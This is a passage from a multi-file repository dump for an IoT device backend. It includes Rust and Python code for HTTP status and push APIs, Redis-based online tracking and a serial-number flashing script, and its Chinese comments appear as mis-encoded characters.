if dsp_lock.is_alive(&sn) == false || dsp_lock.is_in_pool(&sn) == false {
return Err(error::ErrorBadRequest(json!({
"namespace": "/push/push_msg",
"error": "device offline"
})));
}
match dsp_lock.get_device_ref(&sn) {
Some(device_lock) => {
drop(dsp_lock); // unlock the devicepool lock
let mut device = device_lock.write().unwrap();
match device.writeline(body_string.clone(), true) {
Ok(_) => {
info!(
"send message: '{}' to device({})",
body_string,
device.get_sn()
);
if let Ok(rawdata) = device.readline_timeout(5) {
let resp = json!({
"namespace": "/push/push_msg",
"value": rawdata
});
return Ok(HttpResponse::Ok().body(resp));
} else {
return Err(error::ErrorBadRequest(json!({
"namespace": "/push/push_msg",
"error": "no response"
})));
}
}
Err(_) => {
return Err(error::ErrorBadRequest(json!({
"namespace": "/push/push_msg",
"error": "send message fail"
})));
}
}
}
_ => {
return Err(error::ErrorBadRequest(json!({
"namespace": "/push/push_msg",
"error": "device offline"
})))
}
}
}
_ => {
return Err(error::ErrorBadRequest(json!({
"namespace": "/push/push_msg",
"error": "invalid data"
})))
}
}
}
#[actix_rt::main]
pub async fn start(devicepool: Arc<RwLock<device::DevicePool>>) -> std::io::Result<()> {
HttpServer::new(move || {
App::new()
.data(devicepool.clone())
.service(query_devices_num)
.service(query_devices_alive_num)
.service(push_get)
.service(device_is_alive)
.service(query_service_version)
})
.bind("0.0.0.0:8080")?
.run()
.await
}
```
app.py
```from flask import Flask, request, Response
import threading
import device_support
from devicepool import devicesocketpool as dsp
import Config as cfg
import json
import logger
app = Flask(__name__)
@app.route('/')
def hello_world():
return 'MX-Backend'
@app.route('/query/alive_num', methods=['GET'])
def get_alive_device_num():
"""
HTTP API: Query alive num
"""
resp = {
"type": "api.query",
"deviceinfo": dsp.get_alive_device_num(),
}
print('app:', dsp.get_alive_device_num())
return json.dumps(resp)
@app.route('/query/devices_num', methods=['GET'])
def get_device_num():
"""
HTTP API: Query alive num
"""
resp = {
"type": "api.query",
"deviceinfo": dsp.get_device_num(),
}
return json.dumps(resp)
@app.route('/query/is_alive', methods=['GET'])
def get_sn_is_alive():
"""
HTTP API: Query a sn whether alive
"""
sn = request.args.get('sn')
logger.info("{}: query sn({}) whether".format(__file__, str(sn)))
is_alive = dsp.is_alive(sn)
resp = {
'type': "api.query",
'is_alive': is_alive,
'sn': sn,
}
return json.dumps(resp)
@app.route('/push/push_msg', methods=['POST'])
def push_msg():
"""
HTTP API: push a set msg to device
"""
data = request.get_json()
if not data:
logger.warning("{}: get a invaild data({}) with /push/push_msg".format(__file__, data))
invaild_resp = {'type': "push status", 'ctx': "invaild data"}
return Response(json.dumps(invaild_resp), status=400, mimetype='application/json')
else:
logger.info("{}: get data({}) with /push/push_msg".format(__file__, data))
return Response('{"status": "ok"}', status=200, mimetype='application/json')
def restful_run() -> threading.Thread:
t = threading.Thread(target=app.run, args=(cfg.WEB_ADDR, cfg.WEB_PORT))
t.start()
return t
def device_maintain() -> threading.Thread:
t = threading.Thread(target=device_support.device_maintain)
t.start()
return t
if __name__ == '__main__':
t1 = restful_run()
t2 = device_maintain()
t1.join()
t2.join()
```
redis_wrapper.rs
```use std::time::SystemTime;
#[allow(unused_imports)]
use log::{
error,
info,
};
use redis::{
aio::Connection,
AsyncCommands,
cmd as redis_cmd,
RedisResult,
};
pub struct RedisConn {
conn: Option<Connection>,
}
pub const NAMESPACE_DEVICES_BORN: &str = "csod/devices_born";
pub const NAMESPACE_DEVICES_ALIVE: &str = "csod/devices_alive";
pub const NAMESPACE_DEVICE_STATUS: &str = "csod/device_status";
pub const NAMESPACE_DEVICES_COMMON_EVENT_NOTIFY: &str = "csod/mq/p5";
#[allow(dead_code)]
impl RedisConn {
/// ๅปบ็ซไธไธชredis async่ฟๆฅ
pub async fn new(ip: &str, port: &str) -> RedisResult<RedisConn> {
let _redis_addr = format!("redis://{}:{}/", ip, port);
let client_result = redis::Client::open(_redis_addr);
match client_result {
Ok(cli) => {
match cli.get_async_connection().await {
Ok(conn) => Ok(RedisConn { conn: Some(conn) }),
Err(e) => {
error!("get async redis connection fail: {:?}", e);
Err(e)
}
}
}
Err(e) => {
error!("connect redis fail: {:?}", e);
Err(e)
}
}
}
pub async fn set(&mut self, k: &str, v: &str) -> Result<(), ()> {
match &mut self.conn {
Some(cli) => {
match cli.set::<&str, &str, String>(k, v).await {
Ok(_) => Ok(()),
Err(_) => {
error!("Set key to redis failed.");
Err(())
}
}
}
_ => {
error!("Redis conn in RedisConn struct is None");
Err(())
}
}
}
pub async fn get(&mut self, key: &str) -> Result<String, ()> {
let cli = if let Some(conn) = &mut self.conn {
conn
} else {
error!("Redis conn in RedisConn struct is None");
return Err(());
};
match cli.get::<&str, String>(key).await {
Ok(v) => Ok(v),
Err(_) => Err(())
}
}
/// ๅฐๆฐๆฎไปๅทฆ็ซฏ(lpush)ๆจๅ
ฅๆๅฎredis list
pub async fn push_to_list(&mut self, list_name: &str, v: &str) -> Result<Option<usize>, ()> {
let cli = if let Some(conn) = &mut self.conn {
conn
} else {
error!("Redis conn in RedisConn struct is None");
return Err(());
};
match cli.lpush::<&str, &str, Option<usize>>(list_name, v).await {
Ok(e) => {
info!("push msg({}) to list({}) , result: {:?}", v, list_name, e);
Ok(e)
}
Err(e) => {
error!("push msg({}) to list({}) failed: {:?}", v, list_name, e);
Err(())
}
}
}
pub async fn pop_from_list(&mut self, list_name: &str) -> Result<Option<String>, ()> {
let cli = if let Some(conn) = &mut self.conn {
conn
} else {
error!("Redis conn in RedisConn struct is None");
return Err(());
};
match cli.rpop::<&str, Option<String>>(list_name).await {
Ok(v) => Ok(v),
Err(e) => {
error!("pop from list({}) failed: {:?}", list_name, e);
Err(())
}
}
}
pub async fn del_key(&mut self, key: &str) {
let cli = if let Some(conn) = &mut self.conn {
conn
} else {
error!("Redis conn in RedisConn struct is None");
return;
};
let _: RedisResult<u16> = redis::cmd("del")
.arg(key)
.query_async(cli)
.await;
}
pub async fn zcard(&mut self, key: &str) -> Result<u64, ()> {
let cli = if let Some(conn) = &mut self.conn {
conn
} else {
error!("Redis conn in RedisConn struct is None");
return Err(());
};
let query: RedisResult<u64> = redis_cmd("zcard")
.arg(key)
.query_async(cli)
.await;
if let Ok(num) = query {
Ok(num)
} else {
error!("{:?}", query);
Err(())
}
}
pub async fn zadd(&mut self, key: &str, score: &str, member: &str) -> Result<u64, ()> {
let cli = if let Some(conn) = &mut self.conn {
conn
} else {
error!("Redis conn in RedisConn struct is None");
return Err(());
};
let query: RedisResult<u64> = redis_cmd("zadd")
.arg(key).arg(score).arg(member)
.query_async(cli)
.await;
if let Ok(num) = query {
Ok(num)
} else {
Err(())
}
}
/// ่ฟๅๆๅฎๆๅๅจๆๅบ้ๅไธญ็็ดขๅผ
pub async fn zrank(&mut self, key: &str, member: &str) -> Result<Option<usize>, ()> {
let cli = if let Some(conn) = &mut self.conn {
conn
} else {
error!("Redis conn in RedisConn struct is None");
return Err(());
};
let query: RedisResult<Option<usize>> = redis_cmd("zrank")
.arg(key).arg(member)
.query_async(cli)
.await;
if let Ok(idx) = query {
Ok(idx)
} else {
Err(())
}
}
/// ๅ ้คๆๅบ้ๅไธญๆๅฎๅผ
pub async fn zrem(&mut self, key: &str, member: &str) -> Result<Option<usize>, ()> {
println!("debug ::: key {}, member: {}", key, member);
let cli = if let Some(conn) = &mut self.conn {
conn
} else {
error!("Redis conn in RedisConn struct is None");
return Err(());
};
let query: RedisResult<Option<usize>> = redis_cmd("zrem")
.arg(key).arg(member)
.query_async(cli)
.await;
if let Ok(num) = query {
Ok(num)
} else {
Err(())
}
}
/// count the number of members in the the `csod/devices_born` key
pub async fn zcard_devices_born(&mut self) -> Result<u64, ()> {
self.zcard(NAMESPACE_DEVICES_BORN).await
}
/// add a member to sorted set with `csod/devices_born` key
pub async fn zadd_devices_born(&mut self, score: &str, member: &str) -> Result<u64, ()> {
self.zadd(NAMESPACE_DEVICES_BORN, score, member).await
}
/// count the number of members in the the `csod/devices_alive` key
pub async fn zcard_devices_alive(&mut self) -> Result<u64, ()> {
self.zcard(NAMESPACE_DEVICES_ALIVE).await
}
/// add a member to sorted set with `csod/devices_alive` key
pub async fn zadd_devices_alive(&mut self, score: &str, member: &str) -> Result<u64, ()> {
self.zadd(NAMESPACE_DEVICES_ALIVE, score, member).await
}
/// remove a member to sorted set with `csod/devices_born` key
pub async fn zrem_devices_alive(&mut self, member: &str) -> Result<Option<usize>, ()> {
self.zrem(NAMESPACE_DEVICES_ALIVE, member).await
}
pub fn get_unix_timestamp(&self) -> f64 {
match SystemTime::now().duration_since(SystemTime::UNIX_EPOCH) {
Ok(stamp) => stamp.as_micros() as f64 / 1e6,
Err(_) => {
error!("error timestamp, Should never be here");
0.0f64
}
}
}
/// ๅredisๆๅบ้ๅๆๅ
ฅไธไธชsn๏ผๅ
ถไธญๆๅ
ฅๆถ้ดๆณไธบ่ฏฅsn score๏ผๆถ้ดๆณไธชไฝไธบs๏ผๅฐๆฐ็นไฟ็ๅฐๅพฎ็ง
pub async fn zadd_device_born_with_timestamp(&mut self, sn: &str) -> Result<u64, ()> {
let born_stamp = self.get_unix_timestamp();
match self.hset(&format!("{}/{}", NAMESPACE_DEVICE_STATUS, sn), "borntime", &born_stamp.to_string()).await {
Ok(_) => self.zadd_devices_born(&format!("{}", born_stamp), sn).await,
Err(e) => {
error!("insert sorted fail: {:?}", e);
Err(e)
}
}
}
/// ๅredisๆๅบ้ๅๆๅ
ฅไธไธชsn๏ผๅ
ถไธญๆๅ
ฅๆถ้ดๆณไธบ่ฏฅsn score๏ผๆถ้ดๆณไธชไฝไธบs๏ผๅฐๆฐ็นไฟ็ๅฐๅพฎ็ง
pub async fn zadd_device_alive_with_timestamp(&mut self, sn: &str) -> Result<u64, ()> {
self.zadd_devices_alive(&format!("{}", self.get_unix_timestamp()), sn).await
}
/// ่ฎพ็ฝฎๆๅฎkey็hash่กจ๏ผๅนถ่ฎพ็ฝฎๆๅฎๅญๆฎตๅๆๅฎๅผ
pub async fn hset(&mut self, key: &str, field: &str, value: &str) -> Result<Option<usize>, ()> {
let cli = if let Some(conn) = &mut self.conn {
conn
} else {
error!("Redis conn in RedisConn struct is None");
return Err(());
};
let query: RedisResult<Option<usize>> = redis_cmd("hset")
.arg(key).arg(field).arg(value)
.query_async(cli)
.await;
info!(" hset test key {}, field {}, value {}, {:?}", key, field, value, query);
if let Ok(num) = query {
Ok(num)
} else {
error!("set hash fail: {}, {}, {}, query: {:?}", key, field, value, query);
Err(())
}
}
/// ่ทๅhash่กจๆๅฎkey็ๆๅฎๅญๆฎต
pub async fn hget(&mut self, key: &str, field: &str) -> Result<String, ()> {
let cli = if let Some(conn) = &mut self.conn {
conn
} else {
error!("Redis conn in RedisConn struct is None");
return Err(());
};
let query: RedisResult<String> = redis_cmd("hget")
.arg(key).arg(field)
.query_async(cli)
.await;
if let Ok(string) = query {
Ok(string)
} else {
Err(())
}
}
/// ๅ ้คhash่กจๆๅฎkey็ๆๅฎๅญๆฎต
pub async fn hdel(&mut self, key: &str, field: &str) -> Result<u64, ()> {
let cli = if let Some(conn) = &mut self.conn {
conn
} else {
error!("Redis conn in RedisConn struct is None");
return Err(());
};
let query: RedisResult<u64> = redis_cmd("hdel")
.arg(key).arg(field)
.query_async(cli)
.await;
if let Ok(num) = query {
Ok(num)
} else {
Err(())
}
}
/// ่ฎพ็ฝฎๆๅฎkey็`toggletime`ๅญๆฎต๏ผๅนถๅๆถ่ฎพ็ฝฎๅฝๅๆถ้ดๆณ
pub async fn hset_toggletime(&mut self, key: &str) -> Result<Option<usize>, ()> {
self.hset(key, "toggletime", &format!("{}", self.get_unix_timestamp())).await
}
/// ่ฎพ็ฝฎๆๅฎkey็`status`ๅญๆฎต๏ผๅนถๅๆถ่ฎพ็ฝฎๅฝๅๆถ้ดๆณ
pub async fn hset_online_with_time(&mut self, key: &str, online: &str) -> Result<u64, ()> {
if self.hset(key, "online", online).await.is_err() {
error!("set status field 'online' failed: key {}, online {}", key, online);
}
if self.hset_toggletime(key).await.is_err() {
error!("set status field 'toggletime' failed: key {}, online {}", key, online);
}
Ok(0)
}
}
```
mxft.py
```#-*- coding: utf-8 -*-
import os
import serial
input_csv = input("่พๅ
ฅsnๆไปถ# ")
fp, fn = os.path.split(input_csv.strip())
fn, ext = os.path.splitext(fn)
output_csv = fn + '-finished' + ext
def get_first_sn(fp: str) -> str:
with open(fp, 'r') as f:
lines = f.readlines()
try:
ret = lines[0]
except IndexError:
return ''
return ret.strip()
def del_first_sn(fp: str):
with open(fp, 'r') as f:
lines = f.readlines()
try:
ret = lines.pop(0)
except IndexError:
return ''
with open(fp, 'w') as f:
f.write(''.join(lines))
def dump_sn(fp: str, sn) -> str:
with open(fp, 'a') as f:
f.write(sn+'\n')
def wirte_device(sn: str):
return
with serial.Serial(port='com4', baudrate=115200) as ser:
ser.write(sn)
def process_a_sn() -> bool:
sn = get_first_sn(input_csv)
if sn == '':
print('ๆฒกๆsnๅทไบ')
return False
write_sn = False
while True:
do = input(f'็กฎๅฎ็งๅ({sn})๏ผ้ป่ฎค็งๅ(y/N): ')
if do in ['', 'y', 'Y']:
write_sn = True
break
elif do in ['n', 'N']:
write_sn = False
break
print(sn)
if write_sn:
print(f'ๅผๅง็งๅsnๅท({sn}) ...')
wirte_device(sn)
dump_sn(output_csv, sn)
del_first_sn(input_csv)
print(f'็งๅๅฎๆฏ')
else:
while True:
next_step = input(' ็จๅบ้ๅบ: 1 \n็งๅไธไธๅฐ: 2 #')
if next_step == '1':
return False
elif next_step == '2':
return True
def check_device(port: str, baudrate: float) -> bool:
with serial.Serial(port=port, baudrate=baudrate) as ser:
ser.timeout = 1
ser.write(bytes('READY?\n'))
ret = ser.readline()
if 'NO READY' not in ret:
return False
return True
while True:
next_step = input('็งๅฝไธไธๅฐ?้ป่ฎคไธไธๅฐ(y/N): ')
if next_step in ['', 'y', 'Y']:
stats = process_a_sn()
if stats is False:
print(f'้ๅบ ...')
break
elif next_step in ['n', 'N']:
print(f'้ๅบ ...')
break
print('\n')
```
map2redis.rs
```#[allow(unused_imports)]
use log::{
error,
info,
warn,
};
use crate::middleware_wrapper::redis_wrapper::{
NAMESPACE_DEVICE_STATUS,
NAMESPACE_DEVICES_BORN,
NAMESPACE_DEVICES_COMMON_EVENT_NOTIFY,
};
use super::device::Device;
use super::super::middleware_wrapper::redis_wrapper::RedisConn;
pub struct Device2redis {
pub dev: Device,
pub redis_conn: RedisConn,
}
impl Device2redis {
pub async fn new(dev: Device, ip: &str, port: &str) -> Result<Device2redis, ()> {
if let Ok(conn) = RedisConn::new(ip, port).await {
Ok(Device2redis { dev: dev, redis_conn: conn })
} else {
error!("connection redis fail, ");
Err(())
}
}
/// ๆดๆฐ่ฎพๅคๅจ็บฟ็ถๆ๏ผ็จไบๆฏๆฌกๆถๅฐๆถๆฏ๏ผๅฐฑๆดๆฐ่ฎพๅคๅจ็บฟ, ไธป่ฆๆดๆฐstatus onlineๅญๆฎตๅๆทปๅ online
pub async fn update_online_status(&mut self) -> bool {
info!("update 'online' failed: sn {}", self.dev.sn);
if self.redis_conn.hset(&format!("{}/{}", NAMESPACE_DEVICE_STATUS, self.dev.sn), "online", "true").await.is_err() {
error!("update 'online' failed: sn {}", self.dev.sn);
return false;
}
if let Err(_) = self.redis_conn.zadd_device_alive_with_timestamp(&self.dev.sn).await {
error!("set redis fail");
return false;
}
true
}
pub async fn activate(&mut self) -> bool {
// ๆทปๅ ๅฐๅจ็บฟ่ฎพๅค้ๅไธญ
if let Err(_) = self.redis_conn.zadd_device_alive_with_timestamp(&self.dev.sn).await {
error!("set redis fail");
return false;
}
// ่ฎพ็ฝฎstatusๅจ็บฟ็ถๆ
if let Err(_) = self.redis_conn.hset_online_with_time(&format!("{}/{}", NAMESPACE_DEVICE_STATUS, self.dev.sn), "true").await {
let _ = self.redis_conn.zrem_devices_alive(&self.dev.sn).await;
error!("set redis fail");
return false;
}
// ๆธ
็ไธ่ก้พ่ทฏๅไธ่ก้พ่ทฏ็ผๅญ
let _ = self.redis_conn.hdel(&*format!("{}/{}", NAMESPACE_DEVICE_STATUS, self.dev.sn), "uplink").await;
let _ = self.redis_conn.hdel(&*format!("{}{}", NAMESPACE_DEVICE_STATUS, self.dev.sn), "downlink").await;
// ๅฆๆ็ฌฌไธๆฌกๆฟๆดป็่ฎพๅค๏ผๆทปๅ ๅฐbornๆๅบ้ๅไธญ
match self.redis_conn.zrank(NAMESPACE_DEVICES_BORN, &self.dev.sn).await {
Ok(e) => {
if let None = e {
if let Err(_) = self.redis_conn.zadd_device_born_with_timestamp(&self.dev.sn).await {
warn!("add the born set fail");
false
} else {
true
}
} else {
true
}
}
Err(_) => {
false
}
}
}
pub async fn deactivate(&mut self) -> bool {
warn!("device offline");
// ่ฎพ็ฝฎๅจ็บฟ็ถๆไธบfalse
let v1 = match self.redis_conn.hset_online_with_time(&format!("{}/{}", NAMESPACE_DEVICE_STATUS, self.dev.sn), "false").await {
Ok(_) => true,
Err(_) => {
error!("set redis fail");
false
}
};
// ไปๅจ็บฟ่ฎพๅค้ๅไธญๅ ้ค
let v2 = match self.redis_conn.zrem_devices_alive(&self.dev.sn).await {
Ok(_) => true,
Err(_) => {
error!("set redis fail");
false
}
};
v1 && v2
}
pub async fn readline_downlink(&mut self) -> Result<String, ()> {
if let Ok(v) = self.redis_conn.hget(&*format!("{}/{}", NAMESPACE_DEVICE_STATUS, self.dev.sn), "downlink").await {
// ่ฏปๅฎๅผๅฐฑไปredisๅ ้คๆ
let _ = self.redis_conn.hdel(&*format!("{}/{}", NAMESPACE_DEVICE_STATUS, self.dev.sn), "downlink").await;
Ok(v)
} else {
Err(())
}
}
// ๅไธ่กackๆถๆฏ
pub async fn write_uplink(&mut self, msg: &str) -> Result<Option<usize>, ()> {
info!("push msg to uplink {}", msg);
self.redis_conn.hset(&*format!("{}/{}", NAMESPACE_DEVICE_STATUS, self.dev.sn), "uplink", msg).await
}
/// ๆๆ่ฎพๅค็eventๆถๆฏ้ฝๆจๅ
ฅ็ธๅ็keyไธบ"csod/mq/p5"้ๅ
pub async fn notify_event(&mut self, msg: &str) -> Result<Option<usize>, ()> {
self.redis_conn.push_to_list(NAMESPACE_DEVICES_COMMON_EVENT_NOTIFY, msg).await
}
}
/// redisๅบๆฌๆต่ฏ
#[cfg(test)]
mod test_redis_conn {
use futures::executor::block_on;
use super::Device;
use super::Device2redis;
#[test]
fn test_deactivate() {
let d2r = block_on(Device2redis::new(Device::new("test".to_string()), "127.0.0.1", "6379"));
block_on(d2r.unwrap().activate());
//assert_eq!(Ok(_), block_on(d2r.unwrap().activate()));
}
}```
communication.py
```#-*- coding: utf-8 -*-
#
# A cross-platform Mssage queue based redis
#
from gevent import monkey
monkey.patch_all()
import redis
import Config as cfg
class MessageQueue:
def __init__(self, db=0, priority='p5'):
self._queue = redis.StrictRedis(host=cfg.REDIS_ADDR,
port=cfg.REDIS_PORT,
db=0)
self._priority = priority
def get_priority(self) -> str:
return self._priority
def put(self, value):
if not isinstance(value, str):
raise RuntimeError("Must be a str type to put the queue of redis")
self._queue.lpush(self._priority, value)
def get(self, block=True, encoding='utf-8'):
if block:
v = self._queue.brpop(self._priority)
else:
v = self._queue.rpop(self._priority)
if v is None:
return None
else:
_, v = v
if encoding:
v = str(v, encoding=encoding)
return v
def clear(self, priority='p5'):
self._queue.delete(priority)
# In[]
if __name__ == '__main__':
mq = MessageQueue()
mq.clear()
mq.put('12')
mq.put('14')
mq.put('16')
v = mq.get(block=True)
print(v)
```
main.rs
```#[allow(unused_imports)]
use log::{
error,
info,
};
use common::config;
use http_service as hs;
mod http_service;
mod middleware;
mod common;
fn main() {
// ๅ ่ฝฝ้
็ฝฎ
let sysconf: config::Config = config::load_config("cfg.toml", true);
config::log_init(sysconf.log);
hs::main::launch(sysconf.http_service, sysconf.redis).expect("error inside occurs");
}```
foo.py
```
import device_support
from devicepool import devicesocketpool as dsp
print(dsp.get_device_num())
'''
test = []
def call_ping(sn, device):
device.ping()
test.append(device.sn)
return sn, "OK"
gs = []
for e in devices.items():
g = gevent.spawn(call_ping, *e)
gs.append(g)
for e in gs:
e.join()
print(test)
print(len(test))
'''```
device.rs
```//!# Device and Device Pool, in which read/write opreation between threads safety
//!### Example
//! ```
//! let devicepool = Arc::new(RwLock::new(device::DevicePool::new()));
//! let mut thread_vec = vec![];
//! for sn_idx in 0..3000 {
//! let devicepool_clone = devicepool.clone();
//! let t = thread::spawn(move || {
//! let sn = format!("sn/{}", sn_idx);
//! let arc_d = Arc::new(RwLock::new(device::Device::new(sn.clone())));
//!
//! {
//! devicepool_clone
//! .write()
//! .unwrap()
//! .put_device(sn.clone(), arc_d.clone());
//! let dsp = devicepool_clone.read().unwrap();
//! let dn = dsp.get_devices_num();
//! info!("thread: {} dn = {}", sn_idx, dn);
//! }
//! {
//! let mut dsp = devicepool_clone.write().unwrap();
//! let advice_lock = dsp.get_device_ref(&sn).unwrap();
//! let adevice = advice_lock.read().unwrap();
//! info!("sn: {}, is alive, {}", (*adevice).is_alive(), (*adevice).get_sn());
//! }
//! });
//!
//! thread_vec.push(t);
//! }
//!
//! for t in thread_vec {
//! t.join().unwrap();
//! }
//! info!("pool len: {}", devicepool.read().unwrap().get_devices_num());
//! info!(
//! "alive pool len: {}",
//! devicepool.read().unwrap().get_alive_devices_num()
//! );
//! ```
#![allow(dead_code)]
use crate::connection;
use crate::messagequeue::MQ;
use log::{error, info, warn};
use std::borrow::Borrow;
use std::collections::HashMap;
use std::io::{BufRead, BufReader, BufWriter, Write};
use std::net::TcpStream;
use std::ops::Deref;
use std::sync::{Arc, RwLock};
use std::thread;
use std::time::{Duration, SystemTime};
pub enum ReadWriteErrorCode {
FLUSHFAIL,
CONNECTIONBROKEN,
TIMEOUT,
NULLSTREAM,
DATAINVAILD,
NULLDATA,
}
pub fn get_sn_from_string(info: String) -> String {
String::from(info)
}
/// ## Read line from a TCPStream
/// Return the line or a Err
pub fn read_line(stream: &TcpStream) -> Result<String, String> {
let mut reader: BufReader<&TcpStream> = BufReader::new(&stream);
let mut recv_str = String::new();
match reader.read_line(&mut recv_str) {
Ok(v) => {
if v > 0 {
Ok(recv_str)
} else {
Err(String::from("NULL"))
}
}
_ => Err(String::from("Read Fail")),
}
}
/// ## Write a string line to TcpStream
/// If the the end of param String is not `\n`, will pad it to the end.
///
/// It cannot raise the error resulted in Socket peer broken.
pub fn write_line(stream: &TcpStream, line: String, flush: bool) -> Result<usize, String> {
let mut writer: BufWriter<&TcpStream> = BufWriter::new(&stream);
let mut byte_line: Vec<u8> = line.as_bytes().to_vec();
if byte_line[byte_line.len() - 1] != 0xa {
byte_line.push(0xa);
}
match writer.write_all(byte_line.as_slice()) {
Ok(_) => {
if flush {
if let Err(e) = writer.flush() {
error!("flush error: {}", e);
return Err(String::from("Flush Error"));
}
}
Ok(byte_line.len())
}
_ => Err(String::from("Error")),
}
}
/// ## Device bind to a unique sn(Serial Number)
/// ```
/// let sn = String::from("12/132435");
/// let d = device::Device::new(sn.clone());
/// ```
pub struct Device {
/// Unique serial number
pub sn: String,
/// A Tcp stream will be keep as a long connection.
pub stream: Option<TcpStream>,
/// the time of latest connection coming.
born_time: SystemTime,
/// Whether keep online.
is_alive: bool,
/// The time of last heartbeat to device.
last_heart_time: SystemTime,
/// The heartbeat period.
heartbeat_period: Duration,
}
#[cfg(test)]
mod device_tests {
use crate::device::Device;
use std::sync::{Arc, RwLock};
use std::thread::sleep;
use std::time::{Duration, SystemTime};
#[test]
fn test_device() {
assert_eq!(1, 1);
}
#[test]
fn test_device_set_get_sn() {
let mut device: Device = Device::new("sn123".to_string());
assert_eq!(device.get_sn(), "sn123");
device.set_sn("sn456".to_string());
assert_eq!(device.get_sn(), "sn456");
}
#[test]
fn test_device_get_alive_time() {
let device: Device = Device::new("sn123".to_string());
assert_eq!(device.get_alive_time() < Duration::from_nanos(1000), true);
sleep(Duration::from_secs(4));
assert_eq!(device.get_alive_time() >= Duration::from_secs(4), true);
assert_eq!(device.get_alive_time() <= Duration::from_secs(5), true);
}
#[test]
fn test_is_alive() {
let mut device: Device = Device::new("sn123".to_string());
assert_eq!(device.is_alive(), true);
device.deactivate();
assert_eq!(device.is_alive(), false);
}
#[test]
fn test_is_heartbeat_timeout() {
let mut device: Device = Device::new("sn123".to_string());
assert_eq!(device.is_heartbeat_timeout(), false);
assert_eq!(device.is_alive(), true);
device.set_heartbeat_period(Duration::from_secs(3));
sleep(Duration::from_secs(4));
assert_eq!(device.is_heartbeat_timeout(), true);
device.update_heartbeat_timestamp_auto();
assert_eq!(device.is_heartbeat_timeout(), false);
}
}
impl Device {
/// Create a Device with it's sn
pub fn new(sn: String) -> Device {
Device {
sn: sn,
stream: None,
born_time: SystemTime::now(),
is_alive: true,
last_heart_time: SystemTime::now(),
heartbeat_period: Duration::from_secs(90),
}
}
/// Create a Device with it's sn and born time
pub fn new_with_sn_borntime(sn: String, born_time: SystemTime) -> Device {
Device {
sn: sn,
stream: None,
born_time: born_time,
is_alive: true,
last_heart_time: born_time.clone(),
heartbeat_period: Duration::from_secs(90),
}
}
/// Set the period of heartbeaqt
pub fn set_heartbeat_period(&mut self, period: Duration) {
info!("set heartbeat to {:?}", period);
self.heartbeat_period = period;
}
/// Is over the heartbeat. At time, should send the pinqqg/pong message.
pub fn is_heartbeat_timeout(&self) -> bool {
if let Ok(elapsed) = self.last_heart_time.elapsed() {
elapsed > self.heartbeat_period
} else {
info!(
"The last heartbeat time is invaild: {:?}",
self.last_heart_time
);
panic!("The last heartbeat time is invaild")
}
}
/// Query the device whether alive.
pub fn is_alive(&self) -> bool {
self.is_alive
}
/// Push online to mq
pub fn push_online_msg(&self, mq: &mut MQ) -> Result<(), ()> {
let msg = format!("{{ \"type\": \"online\", \"sn\": \"{}\" }}", self.sn);
match mq.push(msg.to_string().borrow()) {
Ok(_) => Ok(()),
Err(_) => Err(()),
}
}
/// set the status of alive
pub fn activate(&mut self, stream: TcpStream) {
self.is_alive = true;
self.stream = Some(stream);
self.last_heart_time = SystemTime::now();
}
// disable a device
pub fn deactivate(&mut self) {
warn!("deactive device({})", self.get_sn());
self.is_alive = false;
self.stream = None;
}
/// Get the sn
pub fn get_sn(&self) -> &str {
&self.sn
}
/// Set a sn
pub fn set_sn(&mut self, sn: String) {
self.sn = sn;
}
/// Get the time of born of the device
pub fn get_born_time(&self) -> SystemTime {
self.born_time
}
/// Set the time of born of the device
pub fn set_born_time(&mut self, born_time: SystemTime) {
self.born_time = born_time;
}
/// get the alive time
pub fn get_alive_time(&self) -> Duration {
self.born_time.elapsed().unwrap()
}
/// Update the last heartbeat time
pub fn update_heartbeat_timestamp(&mut self, time: SystemTime) {
self.last_heart_time = time;
}
/// Update the last heartbeat time with auto padding
pub fn update_heartbeat_timestamp_auto(&mut self) {
self.update_heartbeat_timestamp(SystemTime::now());
info!("update the heartbeat timestamp {:?}", self.last_heart_time);
}
/// Set a Stream to device
pub fn set_stream(&mut self, stream: TcpStream) {
self.stream = Some(stream);
}
/// Response pong to device ping
pub fn echo_pong(&mut self) -> Result<(), ()> {
info!("ping from the device({})", self.get_sn());
let pong_msg = "{\"type\":\"pong\"}".to_string();
match self.writeline(pong_msg, true) {
Ok(_) => Ok(()),
Err(_) => {
warn!("pong fail, deactivate the device");
self.deactivate();
Err(())
}
}
}
/// ## Write a string line to TcpStream
/// If the the end of param String is not `\n`, will pad it to the end.
///
/// It cannot raise the error resulted in Socket peer broken.
pub fn writeline(&mut self, msgline: String, flush: bool) -> Result<usize, ReadWriteErrorCode> {
let mut byte_line: Vec<u8> = msgline.as_bytes().to_vec();
// Padding the `\n` to the end of line
if byte_line[byte_line.len() - 1] != 0xa {
byte_line.push(0xa);
}
match &self.stream {
Some(stream) => {
let mut writer: BufWriter<&TcpStream> = BufWriter::new(&stream);
match writer.write_all(byte_line.as_slice()) {
Ok(_) => {
if flush {
if let Err(e) = writer.flush() {
error!("flush error with sn({}): {:?}", self.sn, e);
return Err(ReadWriteErrorCode::FLUSHFAIL);
}
}
Ok(byte_line.len())
}
_ => {
error!("connection broken: {}", self.sn);
Err(ReadWriteErrorCode::CONNECTIONBROKEN)
}
}
}
None => {
error!("No stream: {}", self.sn);
Err(ReadWriteErrorCode::NULLSTREAM)
}
}
}
/// ## Read line from a TCPStream
/// Return the line or a Err
pub fn readline(&mut self) -> Result<String, ReadWriteErrorCode> {
match &self.stream {
Some(stream) => {
let mut reader: BufReader<&TcpStream> = BufReader::new(&stream);
let mut recv_str = String::new();
match reader.read_line(&mut recv_str) {
Ok(v) => {
if v > 0 {
Ok(recv_str)
} else {
// warn!("no data can be read with sn({})", self.sn);
Err(ReadWriteErrorCode::NULLDATA)
}
}
_ => {
// warn!("stream may be close by peer device with sn({})", self.sn);
Err(ReadWriteErrorCode::CONNECTIONBROKEN)
}
}
}
None => Err(ReadWriteErrorCode::NULLSTREAM),
}
}
///
/// That api can only be used at Web API.
pub fn readline_timeout(&mut self, timeout: usize) -> Result<String, ReadWriteErrorCode> {
let mut err = ReadWriteErrorCode::NULLDATA;
// try to read every 0.5s
for _ in 0..(timeout * 2) {
match self.readline() {
Ok(msg) => match connection::parse_msg_type(&msg) {
connection::MESTYPE::HEARTBEAT => {
if let Ok(_) = self.echo_pong() {
info!("get the heartbeat data: {}", msg);
self.update_heartbeat_timestamp_auto();
}
}
connection::MESTYPE::RAWDATA => {
info!("get the rawdata: {}", msg);
return Ok(msg);
}
connection::MESTYPE::INVAILD => {
warn!("get the invalid data: {}", msg);
}
},
Err(e) => {
err = e;
}
}
thread::sleep(Duration::from_millis(500));
}
Err(err)
}
}
/// # DevicePool to maintain those TCP Connection between Server and devices
/// ```
